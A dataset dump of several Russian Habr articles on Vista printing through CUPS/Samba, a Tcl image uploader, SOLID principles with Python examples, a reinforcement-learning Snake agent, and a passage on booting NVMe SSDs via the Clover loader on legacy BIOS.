text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Печать из Vista на сетевом Linux-принтере
Переведя компьютеры в нашей организации на лицензионное программное обеспечение, мы обнаружили проблему с ораганизацией печати документов. Компьютер под управлением Windows Vista Business не стал печататать на сетевом принтере, подключенном к Linux-компьютеру. Причем не работал ни один из принтеров, которые мы пробовали.
Конечно, многие люди считают, что использовать Windows Vista для работы — не самая хорошая идея, потому что все в ней не так, все не работает… Но, так как была приобретена лицензия, ничего другого не оставалось, как пытаться решить эту проблему без удаления системы.
В двух словах, с технической точки зрения, ситуация выглядела так. На компьютере, к которому был подключен принтер, была установлена Mandriva 2009 (впрочем, с другими видами Linux проблема выглядела аналогично). Принтер был корректно настроен и работал через CUPS, и отдан в общий доступ через Samba. Система достаточно современная, и каких-либо хитрых настроек в конфигурационных файлах мы не делали. Казалось бы, все должно работать с такими минимальными настройками.
В Windows Vista принтер был установлен как сетевой, с использованием «родных» драйверов (были испробованы как драйвера с диска, так и более новые с сайта производителя). Принтер установился нормально, показал состояние «Готов», но при попытке отправить на печать какой-либо документ ничего не происходило — не напечаталась даже тестовая страница. При этом во время попыток печати в логе Samba-сервера появлялась строчка:
`cli_rpc_pipe_open: cli_nt_create failed on pipe \spoolss to machine user. Error was NT_STATUS_ACCESS_DENIED`
После за'Google'ивания обнаружилось, что с этой проблемой столкнулись не только мы, но и многие другие счастливые администраторы Linux и Windows. Правда, приводимые на форумах способы решения проблемы не очень-то помогали (а часто вообще относились к старым версиям Samba и CUPS). А помог способ альтернативной установки принтера в Vista, без дополнительных настроек в Linux. Схема следующая:
* Для начала нужен принтер, нормально работающий на компьютере с Linux, и правильно отданный в общий доступ через Samba. В современных дистрибутивах с этим проблем, как правило, нет.
* Нужно узнать имя принтера в том виде, в котором он настроен в системе. Это можно сделать, перейдя по ссылке <http://localhost:631> на Linux-компьютере, и открыв вкладку Принтеры (Printers). С другого компьютера посмотреть список принтеров можно, зная IP-адрес компьютера, к которому подключен принтер. У нас это был 192.168.1.10, и ссылка выглядела так: <http://192.168.1.10:631>. В списке принтеры имеют те имена, которые позже понадобятся. В нашем случае это были Epson-TX117 и HP-LaserJet-1020.
* Открыть мастер установки принтера в Windows Vista и выбрать **Добавить сетевой, беспроводной или Bluetooth-принтер**.
* Сканирование всех доступных по сети принтеров можно остановить, и щелкнуть **Нужный принтер отсутствует в списке**.Затем **Выбрать общий принтер по его имени** и указать имя принтера в следующем виде: <http://192.168.1.10:631/printers/Epson-TX117>. Здесь как раз и понадобятся IP-адрес Linux-компьютера и имя установленного на нем принтера.
* В качестве драйвера для принтера нужно выбрать группу **Generic**, драйвер **MS Publisher Imagesetter**.
* Если все сделано правильно, осталось нажать **Далее**, распечатать пробную страницу и нажать **Готово**.
Таким образом, получилось установить все принтеры, которые были нужны пользователям Windows Vista, даже не имея драйверов, подходящих к конкретным принтерам. Посему — всем рекомендуем!
P.S.> Кстати, аналогичный способ работает для установки принтера в Windows XP, даже если отсутствует диск с драйверами для принтера. Только сообщения Мастера установки принтера несколько отличаются | https://habr.com/ru/post/83430/ | null | ru | null |
# Tcl/Tk: Загрузчик на Яндекс.Фотки из контекстного меню (preβ)
На относительно скорую руку сделал аплоадер картинок. Выкладываю его в таком состоянии, чтобы узнать, куда и как следует дорабатывать скрипт.
Чтобы не возиться с кучей файлов, собрал весь код в одном.
Взять скрипт можно с Google Code — <http://yfotkiup.googlecode.com/svn/trunk/yfotkiup.tcl>.
###### Установка
* Скачать [сам скрипт](http://yfotkiup.googlecode.com/svn/trunk/yfotkiup.tcl).
* Открыть его [текстовым редактором](http://akelpad.sourceforge.net/ru/index.php) с поддержкой UTF-8.
* Найти строки
`variable login "test"`
`variable pass "testtest"`
и заменить тестовые данные своими.
* Там же есть переменная `defalbum`. Если хотите загружать картинки в определенный альбом, можете задать **его номер** прямо там.
`variable defalbum "12345"`
* Положить в сухое прохладное место и запомнить путь.
Далее нужно только создать ярлык в папке `%USERPROFILE%\SendTo` (если в Vista и Win7 не так — поправьте), но подозреваю, Tcl у вас не установлен. :)
Для Windows нужно скачать ActiveTcl с [activestate.com](http://www.activestate.com/activetcl/downloads/) ([прямая ссылка](http://downloads.activestate.com/ActiveTcl/releases/8.5.8.1/ActiveTcl8.5.8.1.291945-win32-ix86-threaded.exe) для win32). И установить. С tclkit пока не работает.
Будем считать, что путь к интерпретатору остался стандартным (`C:\Tcl\`), а скрипт лежит в `C:\Tcl\scripts\`.
После чего `%USERPROFILE%\SendTo` необходимо создать ярлык, ссылающийся на «`C:\Tcl\bin\base-tk8.6-thread-win32-ix86.exe C:\Tcl\scripts\yfotkiup.tcl`». С названием, например, «Яндекс.Фотки» (Иконку можно взять [отсюда](http://img.xtmb.info/habrahabr/habr-yfotki-favicon.ico)).
Теперь в контекстном меню, в пункте «Отправить» новый пункт.
#### Немного о скрипте
Это даже не бета. Тестовый, но работающий вариант.
Проблемы:
* При шифровании забирает много ресурсов.
* Результат шифрования не всегда правильный, видимо, у меня так и не получилось полностью перенести [код с Python](http://habrahabr.ru/blogs/firefox/83710/).
* Отсутствует интерфейс. :-)
Я не программист, поэтому неизвестно когда и вообще будут ли исправлены первые 2.
Насчет интерфейса и прочего — жду ваших советов и пожеланий. :)
Вот, что все это сейчас из себя представляет:
Решение, в теории, кросплатформенное, но как редактировать менюшки в других системах, я не знаю. | https://habr.com/ru/post/84048/ | null | ru | null |
# Принципы проектирования SOLID
Группа принципов проектирования, связанных с разработкой программного обеспечения, предложенные Робертом Мартином. Характеризуют принципы, которые рекомендуется соблюдать при написании программного кода. Эти правила помогают писать код, который легко масштабировать и поддерживать.
Основная цель статьи - познакомить Вас с общими принципами SOLID и показать примеры на языке Python.
В принципы проектирования входят:
* **SRP** - принцип единой ответственности
* **OCP** - принцип открытости и закрытости
* **LSP** - принцип подстановки Лисков
* **ISP** - принцип разделения интерфейса
* **DIP** - принцип инверсии зависимостей
#### SRP - принцип единой ответственности
Класс имеет свою ответственность и он не должен брать на себя другие ответственности.
### Рассмотрим пример
Создадим класс реестр для возможности сохранения действий на компьютере.
Описание класса реестр:
* добавление записей в реестр
* удаление записей в реестре
* вывод записей всего реестра
Допустим Нам необходимо сохранять данные реестра. Для этого возможно расширить наш класс и добавить в него метод сохранения. При этом класс **Register** получить дополнительную ответственность, которая будет являться избыточной и при расширении вариантов сохранения или экспорта реестра приведет к сложности поддержки и масштабирования в будущем.
Выход: Выделить новую ответственность в отдельный класс **SaveManager**
```
from dataclasses import dataclass
from typing import ClassVar
@dataclass
class Register:
entries: ClassVar = []
count: ClassVar = 0
def __str__(self) -> str:
'''Вывод всех записей'''
return '\n'.join(self.entries)
def add_entry(self, entry: str) -> None:
'''Добавление записей'''
self.count += 1
self.entries.append(f'{self.count} - {entry}')
def remove_entry(self, pos: int) -> None:
'''Удаление записей'''
del self.entries[pos]
class SaveManager:
'''Класс сохранения регистра в файл'''
@staticmethod
def save_to_file(register, filename) -> None:
file = open(filename, 'w')
file.write((str(register)))
file.close()
if __name__ == '__main__':
reg = Register()
reg.add_entry('Добавление файла hello')
reg.add_entry('Изменение файла hello')
file = r'C:\temp\Register.txt'
SaveManager.save_to_file(reg, file)
with open(file) as f:
print(f.read())
```
#### OCP - принцип открытости и закрытости
Принцип гласит, что добавление функциональности должно осуществляться через расширение, а не через модификацию. Вносить изменения бывает трудно или дорого — когда небольшое изменение в одной части системы вызывает лавину изменений в других частях.
### Рассмотрим пример
Опишем классы для создания объекта продукт Product. Заведем также классы перечисления цвета и размера. Опишем класс фильтрации продуктов по цвету, а в дальнейшем и по размеру. Задумаемся о будущем, нам может понадобиться функциональность дополнительных фильтров и их комбинаций. При этом класс фильтрации будет дополняться и это приведет к его геометрическому росту и сложности его поддержки и тестированию.
### Решение
Необходимо создать класс спецификации фильтра **Specification** и непосредственно сам фильтр **Filter**. При расширении видов фильтрации, вносим дополнительный класс спецификаций, при изменении способа фильтрации - вносим классы фильтрации.
```
from abc import ABC, abstractmethod
from dataclasses import dataclass
from enum import Enum
class Color(Enum):
RED = 1
YELLOW = 2
GREEN = 3
class Size(Enum):
SMALL = 1
MEDIUM = 2
LARGE = 3
@dataclass
class Product:
name: str
color: Color
size: Size
@dataclass
class ProductFilter:
def filter_by_color(self, products, color):
for product in products:
if product.color == color:
yield product
def filter_by_size(self, products, size):
for product in products:
if product.size == size:
yield product
class Specification(ABC):
@abstractmethod
def is_satisfied(self, item):
pass
class Filter(ABC):
@abstractmethod
def filter(self, items, spec):
pass
@dataclass
class ColorSpecification(Specification):
color: Color
def is_satisfied(self, item) -> bool:
return item.color == self.color
@dataclass
class SizeSpecification(Specification):
size: Size
def is_satisfied(self, item) -> bool:
return item.size == self.size
class BetterFilter(Filter):
def filter(self, items, spec):
for item in items:
if spec.is_satisfied(item):
yield item
@dataclass
class СombinatorSpecification(Specification):
def __init__(self, *args):
self.args = args
def is_satisfied(self, item) -> bool:
return all(map(
lambda spec: spec.is_satisfied(item), self.args
))
if __name__ == '__main__':
apple = Product('Apple', Color.GREEN, Size.SMALL)
tree = Product('Tree', Color.GREEN, Size.LARGE)
tomat = Product('Tomat', Color.RED, Size.SMALL)
products = [apple, tree, tomat]
bf = BetterFilter()
green = ColorSpecification(Color.GREEN)
for p in bf.filter(products, green):
print(f'- {p.name} is green')
print('Проверка нескольких параметров фильтра - комбинатор')
small_green = СombinatorSpecification(SizeSpecification(Size.SMALL),
ColorSpecification(Color.GREEN))
for p in bf.filter(products, small_green):
print(f'- {p.name} is small and green')
```
#### LSP - принцип подстановки Лисков
Функции, которые используют базовый тип, должны иметь возможность использовать подтипы базового типа, не зная об этом.
### Рассмотрим пример
Опишем пример наследования в геометрических фигурах: прямоугольник и квадрат. Квадрат является частным случаем прямоугольника, поэтому Вам захочется выстроить наследования класса квадрат от прямоугольника. В квадрате высота равна ширине, поэтому передадим в конструктор родителя один параметр два раза.
```
from dataclasses import dataclass
@dataclass
class Rectangle:
width: int
height: int
............
@dataclass
class Square(Rectangle):
def __init__(self, size: int):
Rectangle.__init__(self, size, size)
......
```
Проблема возникнет в ситуации изменения стороны квадрата. sq.width = 10. Теперь автоматически он не будет менять высоту height. У нас будут методы, которые зависят от параметров класса и их работа будет нарушена.
**Нарушение** Поведение наследников должно быть ожидаемым для функций, которые используют базовый класс.
### Решение проблемы
Согласно LSP нам необходимо использовать общий интерфейс для обоих классов и не наследовать Square от Rectangle. Этот общий интерфейс должен быть таким, чтобы в классах, реализующих его, предусловия не были более сильными, а постусловия не были более слабыми.
Первый способ — переделать иерархию так, чтобы Square не наследовался от Rectangle. Мы можем ввести новый класс, чтобы и квадрат, и прямоугольник наследовались от него.
Создадим абстрактный класс RightAngleShape, чтобы описать фигуры с прямым углом.
```
from abc import ABC, abstractmethod
from dataclasses import dataclass
@dataclass
class RightAngleShape(ABC):
@abstractmethod
def area(self):
pass
@dataclass
class Rectangle(RightAngleShape):
_width: int
_height: int
@property
def width(self):
return self._width
@width.setter
def widht(self, value):
if value <= 0:
raise Exception
self._width = value
@property
def height(self):
return self._height
@height.setter
def height(self, value):
if value <= 0:
raise Exception
self._height = value
@property
def area(self):
return self._width * self._height
def __str__(self):
return f'Width: {self.width}, height: {self.height}'
@dataclass
class Square(RightAngleShape):
_size: int
@property
def size(self):
return self._width
@size.setter
def size(self, value):
if value <= 0:
raise Exception
self._size = value
@property
def area(self):
return self._size * self._size
if __name__ == '__main__':
print('Прямоугольник')
rs = Rectangle(5, 10)
print(rs.area)
rs.height = 20
print(rs.area)
print('Квадрат')
sq = Square(5)
print(sq.area)
sq.size = 10
print(sq.area)
```
#### ISP - принцип разделения интерфейса
Проблема ООП может быть, когда при наследовании класс-потомок получает вместе с нужной функциональностью кучу неиспользуемой и ненужной.
Принцип гласит: Сущности не должны зависеть от интерфейсов, которые они не используют.
### Рассмотрим пример
Опишем класс объекта принтера. Принтер имеет функциональность сканирования и печати. Абстрактный класс будет регламентировать эти два метода print и scan. Все классы наследники будут должны реализовать их.
Но есть принтеры, которые не имеют функцию печати, но базовый класс регламентирует ее объявить. Приходиться делать заглушку, а теперь представьте есть класс с большим описанием функциональности. Заглушек становиться много.
### Решение проблемы
Описать классы по функциональности и наследоваться от нескольких классов. Класс будет наследоваться одновременно от классов Print и Scan.
Это позволит отвязать родительские методы друг от друга и использовать в классе Printer только нужную функциональность.
```
from abc import ABC, abstractmethod
from dataclasses import dataclass
@dataclass
class Printer(ABC):
@abstractmethod
def print(self, document):
pass
@dataclass
class MultiPrinter(Printer):
def print(self, document):
'''Реализация печати'''
pass
def scan(self, document):
'''Реализация сканирования'''
pass
@dataclass
class OldPrinter(Printer):
def print(self, document):
'''Реализация печати'''
pass
```
#### DIP - принцип инверсии зависимостей
Принцип инверсии зависимостей предполагает, что:
* Высокоуровневые модули не должны зависеть от низкоуровневых; оба типа должны зависеть от абстракций.
* Абстракции не должны зависеть от деталей, детали должны зависеть от абстракций.
### Рассмотрим пример
Программа имеет реализацию создания вложенности каталогов. Для этого используется класс RelationshipFolder, который хранит отношения папок: родитель, ребенок, сосед. Метод Research позволяет вывести вложенные папки в каталог. Метод Research опирается на знание реализации конструкции хранения зависимостей в виде списка. Если мы спланируем изменить способ хранения отношений, то функция сломается.
Это противоречит правилу инверсии зависимостей и создает сильную связь метода от входящего объекта. Принцип гласит, что функция не должна зависит от внутренней реализации объекта.
```
from dataclasses import dataclass
from enum import Enum
from typing import ClassVar
class Relationship(Enum):
PARENT = 0
CHILD = 1
NEIGHBOR = 2
@dataclass
class Folder:
name: str
@dataclass
class RelationshipFolder:
relations: ClassVar = []
def add_parrent_and_child(self, parent, child):
self.relations.append((parent, Relationship.PARENT, child))
self.relations.append((child, Relationship.CHILD, parent))
def Research(name_folder: str, relations: RelationshipFolder):
for i in relations.relations:
if i[0].name == name_folder and i[1] == Relationship.PARENT:
print(f'Подпапки главного каталога {i[2].name}')
```
### Решение проблемы
Решением данной проблемы является предоставления вспомогательных методов внутри низкоуровневого модуля (объекта). Создаем абстрактный класс RelationshipBrowser, который будет регламентировать наличие метода поиска отношений папки с именем all\_child\_of. Наследуем наш класс RelationshipFolder от RelationshipBrowser и опишем реализацию метода поиска отношений. Перепишем метод вывода отношений в консоль.
Так понизилась зависимость метода вывода отношений и метода поиска подкаталога. То есть понизили зацепление модулей.
```
from abc import ABC, abstractmethod
from dataclasses import dataclass
from enum import Enum
from typing import ClassVar
class Relationship(Enum):
PARENT = 0
CHILD = 1
NEIGHBOR = 2
@dataclass
class Folder:
name: str
@dataclass
class RelationshipBrowser(ABC):
@abstractmethod
def all_child_of(self, name_folder: str):
pass
@dataclass
class RelationshipFolder(RelationshipBrowser):
relations: ClassVar = []
def add_parrent_and_child(self, parent, child):
self.relations.append((parent, Relationship.PARENT, child))
self.relations.append((child, Relationship.CHILD, parent))
def all_child_of(self, name_folder: str):
for i in self.relations:
if i[0].name == name_folder and i[1] == Relationship.PARENT:
yield i[2].name
def Research(name_folder: str, relations: RelationshipFolder):
for i in relations.all_child_of(name_folder):
print(f'Подпапки главного каталога {i}')
if __name__ == '__main__':
root = Folder('C//:')
program = Folder('Program')
window = Folder('Window')
relation = RelationshipFolder()
relation.add_parrent_and_child(root, program)
relation.add_parrent_and_child(root, window)
Research('C//:', relation)
```
Так получилось рассмотреть принципы проектирования на простых примерах. При следовании принципам ваш код будет качественнее. Его будет легко масштабировать и поддерживать.
Основное правило в больших проектах.
**Если код работает, то старайтесь его не изменять. Используйте расширение функциональности, а не модификацию. Изменение кода приводит к его к нестабильной работе и отказам, которые бывает сложно отследить.**
[Код примеров GitHub](https://github.com/Texnoit-com/patterns/tree/main/solid) | https://habr.com/ru/post/698786/ | null | ru | null |
# Как искусственный интеллект играет в «Змейку»
[](https://habr.com/ru/company/skillfactory/blog/520992/)
Рассказываем о нейросети, которая применяет глубокое обучение и обучение с подкреплением, чтобы играть в Змейку. Код на Github, разбор ошибок, демонстрации игры искусственного интеллекта и эксперименты над ним вы найдете под катом.
С тех пор, как я посмотрела документальный фильм Netflix об AlphaGo, я была очарована обучением с подкреплением. Такое обучение сравнимо с человеческим: вы видите что-то, делаете что-то и у ваших действий есть последствия. Хорошие или не очень. Вы учитесь на последствиях и корректируете действия. У обучения с подкреплением множество приложений: автономное вождение, робототехника, торговля, игры. Если обучение с подкреплением вам знакомо, пропустите следующие два раздела.
Обучение с подкреплением
------------------------
Принцип простой. Агент учится через взаимодействие со средой. Он выбирает действие и получает отклик от среды в виде состояний (или наблюдений) и наград. Этот цикл продолжается постоянно или до состояния прерывания. Затем наступает новый эпизод. Схематично это выглядит так:
Цель агента — получить максимум наград за эпизод. Вначале обучения агент исследует среду: пробует разные действия в одном и том же состоянии. С течением обучения агент исследует всё меньше. Вместо этого он, основываясь на собственном опыте, выбирает действие, приносящее наибольшую награду.
Глубокое обучение с подкреплением
---------------------------------
Глубокое обучение использует нейронные сети, чтобы из входных данных получать выходные. Всего один скрытый слой — и глубокое обучение может приближать любую функцию. Как это работает? Нейронная сеть — это слои с узлами. Первый слой — это слой входных данных. Скрытый второй слой преобразует данные с помощью весов и функции активации. Последний слой — это слой прогноза.
Как следует из названия, глубокое обучение с подкреплением — это комбинация глубокого обучения и обучения с подкреплением. Агент учится прогнозировать лучшее действие для данного состояния, используя состояния как входные данные, значения для действий как выходные данные и награды для настройки весов в правильном направлении. Давайте напишем Змейку с применением глубокого обучения с подкреплением.
Определяем действия, награды и состояния
----------------------------------------
Чтобы подготовить игру для агента, формализуем проблему. Определить действия просто. Агент может выбирать направление: вверх, вправо, вниз или влево. Награды и состояние пространства немного сложнее. Есть много решений и одно будет работать лучше, а другое хуже. Одно из них опишу ниже и давайте попробуем его.
Если Змейка подбирает яблоко, ее награда 10 баллов. Если Змейка умирает, отнимаем от награды 100 баллов. Чтобы помочь агенту, добавляем 1 балл, когда Змейка проходит близко к яблоку и отнимаем один балл, когда Змейка удаляется от яблока.
У состояния много вариантов. Можно взять координаты Змейки и яблока или направления к яблоку. Важно добавить расположение препятствий, то есть стен и тела Змейки, чтобы агент учился выживать. Ниже резюме действий, состояний и наград. Позже мы увидим, как корректировка состояния влияет на производительность.
Создаем среду и агента
----------------------
Добавляя методы в программу Змейки, мы создаём среду обучения с подкреплением. Методы будут такими: `reset(self)`, `step(self, action)` и `get_state(self)`. Кроме того, нужно рассчитывать награду на каждом шаге агента. Посмотрите на `run_game(self)`.
Агент работает с сетью Deep Q, чтобы найти лучшие действия. Параметры модели ниже:
```
# epsilon sets the level of exploration and decreases over time
params['epsilon'] = 1
params['gamma'] = .95
params['batch_size'] = 500
params['epsilon_min'] = .01
params['epsilon_decay'] = .995
params['learning_rate'] = 0.00025
params['layer_sizes'] = [128, 128, 128]
```
Если интересно посмотреть на код, вы найдёте его [на GitHub](https://github.com/henniedeharder/snake).
Агент играет в Змейку
---------------------
А теперь — ключевой вопрос! Научится ли агент играть? Понаблюдаем, как он взаимодействует со средой. Ниже первые игры. Агент ничего не понимает:
Первое яблоко! Но по-прежнему выглядит так, будто нейросеть не знает, что делает.
Находит первое яблоко… и чуть позже ударяется о стену. Начало четырнадцатой игры:
Агент учится: его путь к яблоку не самый короткий, но он находит яблоко. Ниже тридцатая игра:
После всего 30 игр Змейка избегает столкновений с самой собой и находит быстрый путь к яблоку.
Поиграем с пространством
------------------------
Может быть, возможно изменить пространство состояний и достичь похожей или лучшей производительности. Ниже возможные варианты.
1. Без направлений: не сообщать агенту направления, в которых движется Змейка.
2. Состояние с координатами: замени положение яблока (вверх, вправо, вниз и / или влево) координатами яблока (x, y) и змеи (x, y). Значения координат находятся на шкале от 0 до 1.
3. Состояние «направление 0 или 1».
4. Состояние «только стены»: сообщает только о том, есть ли стена. Но не о том, где находится тело: внизу, наверху, справа или слева.
Ниже графики производительности разных состояний:
Найдем пространство, ускоряющее обучение. График показывает средние достижения последних 12 игр с разными состояниями.
Понятно, что когда пространство состояний имеет направления, агент учится быстро, достигая наилучших результатов. Но пространство с координатами лучше. Может быть, можно достичь лучших результатов, дольше тренируя сеть. Причиной медленного обучения может быть число возможных состояний: 20⁴\*2⁴\*4 = 1,024,000. Поле 20 на 20, 64 варианта для препятствий и 4 варианта текущего направления. Для исходного пространства вариантов 3²\*2⁴\*4 = 576. Это более чем в 1700 раз меньше, чем 1,024,000 и, конечно, влияет на обучение.
Поиграем с наградами
--------------------
Есть ли лучшая внутренняя логика награждения? Напоминаю, Змейка награждается так:
**Первая ошибка. Хождение по кругу**
Что, если изменить -1 на +1? Это может замедлить обучение, но в конце концов Змейка не умирает. И это очень важно для игры. Агент быстро учится избегать смерти.
На одном временном отрезке агент получает один балл за выживание.
**Вторая ошибка. Удар о стену**
Изменим количество баллов за прохождение около яблока на -1. Награду за само яблоко установим в 100 баллов. Что произойдет? Агент получает штраф за каждое движение, поэтому двигается к яблоку максимально быстро. Так может случиться, но есть и другой вариант.
ИИ проходит по ближайшей стене, чтобы минимизировать потери.
Опыт
----
Нужно только 30 игр. Секрет искусственного интеллекта — опыт предыдущих игр, который учитывается, чтобы нейросеть училась быстрее. На каждом обычном шаге выполняется ряд шагов переигрывания (параметр `batch_size`). Это так хорошо работает потому, что для данной пары действия и состояния разница в награде и следующем состоянии небольшая.
**Ошибка №3. Нет опыта**
Опыт действительно так важен? Давайте уберём его. И возьмём награду за яблоко в 100 баллов. Ниже агент без опыта, сыгравший 2500 игр.
Хотя агент сыграл 2500 (!) игр, в змейку он не играет. Игра быстро заканчивается. Иначе 10 000 игр заняли бы дни. После 3000 игру у нас только 3 яблока. После 10 000 игр яблок по-прежнему 3. Это удача или результат обучения?
Действительно, опыт очень помогает. Хотя бы опыт, учитывающий награды и тип пространства. Как много нужно переигрываний на шаг? Ответ может удивить. Чтобы ответить на этот вопрос, поиграем с параметром batch\_size. В исходном эксперименте он установлен в 500. Обзор результатов с разным опытом:
200 игр с разным опытом: 1 игра (опыта нет), 2 и 4. Среднее за 20 игр.
Даже с опытом в 2 игры агент уже учится играть. В графе вы видите влияние `batch_size`, та же производительность достигается на 100 игр, если вместо 2 используется 4. Решение в статье дает результат. Агент учится играть в Змейку и достигает хороших результатов, собирая от 40 до 60 яблок за 50 игр.
Внимательный читатель может сказать: максимум яблок в змейке — 399. Почему ИИ не выигрывает? Разница между 60 и 399, в сущности, небольшая. И это верно. И здесь есть проблема: Змейка не избегает столкновений при замыкании на себя.
Интересный способ решить проблему — использовать CNN для поля игры. Так ИИ может увидеть всю игру, а не только ближайшие препятствия. Он сможет распознавать места, которые нужно обойти, чтобы победить.
**Библиография**
[1] K. Hornik, M. Stinchcombe, H. White, [Multilayer feedforward networks are universal approximators](https://www.cs.cmu.edu/~bhiksha/courses/deeplearning/Fall.2016/notes/Sonia_Hornik.pdf) (1989), Neural networks 2.5: 359–366
[2] Mnih et al, [Playing Atari with Deep Reinforcement Learning](https://arxiv.org/pdf/1312.5602.pdf) (2013)
> [](https://skillfactory.ru/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_banner&utm_term=regular&utm_content=habr_banner)
>
> Получить востребованную профессию с нуля или Level Up по навыкам и зарплате, можно, пройдя онлайн-курсы SkillFactory:
>
>
>
> * [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=ML&utm_term=regular&utm_content=280920) (12 недель)
> * [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=MATML&utm_term=regular&utm_content=280920) (20 недель)
> * [Продвинутый курс «Machine Learning Pro + Deep Learning»](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=MLDL&utm_term=regular&utm_content=280920) (20 недель)
> * [Обучение профессии Data Science с нуля](https://skillfactory.ru/data-scientist?utm_source=infopartners&utm_medium=habr&utm_campaign=DST&utm_term=regular&utm_content=280920) (12 месяцев)
>
>
>
>
> **Eще курсы**
> * [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=WEBDEV&utm_term=regular&utm_content=280920) (8 месяцев)
> * [Онлайн-буткемп по Data Analytics](https://skillfactory.ru/business-analytics-camp?utm_source=infopartners&utm_medium=habr&utm_campaign=BAC&utm_term=regular&utm_content=280920) (5 недель)
> * [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=SDA&utm_term=regular&utm_content=280920) (6 месяцев)
> * [Профессия аналитика с любым стартовым уровнем](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=DAPR&utm_term=regular&utm_content=280920) (18 месяцев)
> * [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=PWS&utm_term=regular&utm_content=280920) (9 месяцев)
> * [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=DEVOPS&utm_term=regular&utm_content=280920) (12 месяцев)
> * [Профессия Java-разработчик с нуля](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=JAVA&utm_term=regular&utm_content=280920) (18 месяцев)
> * [Курс по JavaScript](https://skillfactory.ru/javascript?utm_source=infopartners&utm_medium=habr&utm_campaign=FJS&utm_term=regular&utm_content=280920) (12 месяцев)
> * [Профессия UX-дизайнер с нуля](https://contented.ru/edu/uxdesigner?utm_source=infopartners&utm_medium=habr&utm_campaign=UXS&utm_term=regular&utm_content=280920) (9 месяцев)
> * [Профессия Web-дизайнер](https://contented.ru/edu/webdesigner?utm_source=infopartners&utm_medium=habr&utm_campaign=WBDS&utm_term=regular&utm_content=280920) (7 месяцев)
>
>
>
>
>
>
> | https://habr.com/ru/post/520992/ | null | ru | null |
# Использование новых NVMe SSD в качестве загрузочного диска на старых системах с Legacy BIOS (для любой ОС)
Короткий мануал — как реализовать поддержку загрузочного NVMe SSD на старых материнских платах с Legacy BIOS и с использованием Clover (для любых ОС). По следам вот этого [поста](https://habr.com/ru/post/472068/), где на мой взгляд, решение не так изящно и не для всех BIOS & OS.
Суть проблемы
-------------
Старые BIOS не видят новые NVMe SSD, в отличии от EFI (UEFI). Современные ОС эти диски, как правило, видят, и после загрузки ОС работать с диском можно, а вот старый BIOS нет, следовательно, загрузиться с нового быстрого диска не получится. Ну, потому что нельзя дать команду на загрузку тому, чего не видно.
Прелюдия
--------
NVMe SSD диск, как правило, имеет разъем М.2, и работает как бы на прямую с процессором, по шине PCI-E.
Поэтому если на вашей материнской плате нет разъема М.2, то для начала рекомендуется обзавестись переходником PCI-E >> М.2, или PCI-E RAID контроллером для SSD формата М.2.
Существует немного продвинутых NVMe SSD дисков, которые имеют на борту собственные эмулятор Legacy устройства. Например [Samsung 950 Pro](https://www.win-raid.com/t3416f13-Samsung-NVMe-legacy-BOOT-ROM-present-on-Pro.html) имеет дополнительный rom для загрузки как Legacy устройство на старых BIOS. А вот вся серия EVO такой возможности не имеет.
Решение
-------
### Немного истории
Много лет назад, когда компания Intel стала поставлять Apple свои процессоры и компоненты для применения в Маках, возникла потребность предварительного тестирования железа на совместимость с MacOS. Тогда инженеры Intel написали хитрый загрузчик [DUET](http://www.multiboot.ru/DuetRelNotes.txt), который представляет собой [эмулятор UEFI](http://www.multiboot.ru/DUET.htm), загружаемый поверх Legacy BIOS и позволяющий запускать операционные системы, требующие UEFI (MacOS, например).
Однако использовать DUET «напрямую» задача весьма не тривиальная ([пример](http://www.rodsbooks.com/bios2uefi/), или [вот еще](https://www.win-raid.com/t3286f50-Guide-NVMe-boot-for-systems-with-legacy-BIOS-and-older-UEFI-DUET-REFIND.html), б-ррр...), требующая массу ручных операций, зависящих от конкретного железа и ОС, и понимания того, что именно вы делаете.
В дальнейшем, DUET был взят за основу для нескольких проектов по созданию мульти-загрузчиков. Один из них [Hackintosh](https://hackintosh.com/) — проект по установке последних MacOS на любые Intel, а в последствии и AMD машины. В результате развития Hackintosh появился многофункциональный загрузчик [Clover (Клевер)](https://sourceforge.net/projects/cloverefiboot/), который заточен, разумеется, под загрузку MacOS и Intel, но сейчас может с успехом применяться для загрузки чего угодно на, практически, чём угодно. Вот им, [Клевером](https://www.hackintosh-amd.ru/%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D1%87%D0%B8%D0%BA.html), мы и воспользуемся для решения нашей проблемы.
### Clover Configurator
Клевер сам по себе настраивается тоже [не абы как](https://hackintosh.gitbook.io/-r-hackintosh-vanilla-desktop-guide/clover-setup), и для того, чтобы как-то облегчить в дальнейшем процесс тюнинга, была выпущена настроечная утилита [Clover Configurator](https://mackie100projects.altervista.org/download-clover-configurator/), и множество [мануалов](https://androidp1.ru/sozdanie-plist-config-dlya-ustanovki-hakintosh/) по использованию.
Но беда в том, что Clover Configurator работает только в MacOS, и на Windows вы его, в лучшем случае, запустите только в VmWare.
**Web-конфигуратор для Clover***Некоторые пользователи рекомендует воспользоваться вместо Clover Configurator [web-конфигуратором](https://cloudclovereditor.altervista.org/cce/index.php) для Clover. Правда не факт, что прессет для вашей MB будет в списке. А документация по Клеверу объемна и подробна. Но, попробуйте, а вдруг.*
Так же ходят слухи (в комментах), что сам автор Клевера (SergeySlice) не рекомендует использовать Clover Configurator а рекомендует редактировать конфигурационный файл руками.
Не пойдем этим путем… у нас лапки и Мастдай.
### Boot Disk Utility (BDUtility.exe)
Специально для тех, у кого лапки, один русский энтузиаст написал утилиту [BDUtility.exe](http://cvad-mac.narod.ru/index/bootdiskutility_exe/0-5), которая сама скачивает последний релиз Clover, делает необходимые минимальные настройки и записывает полученный образ на флешку.
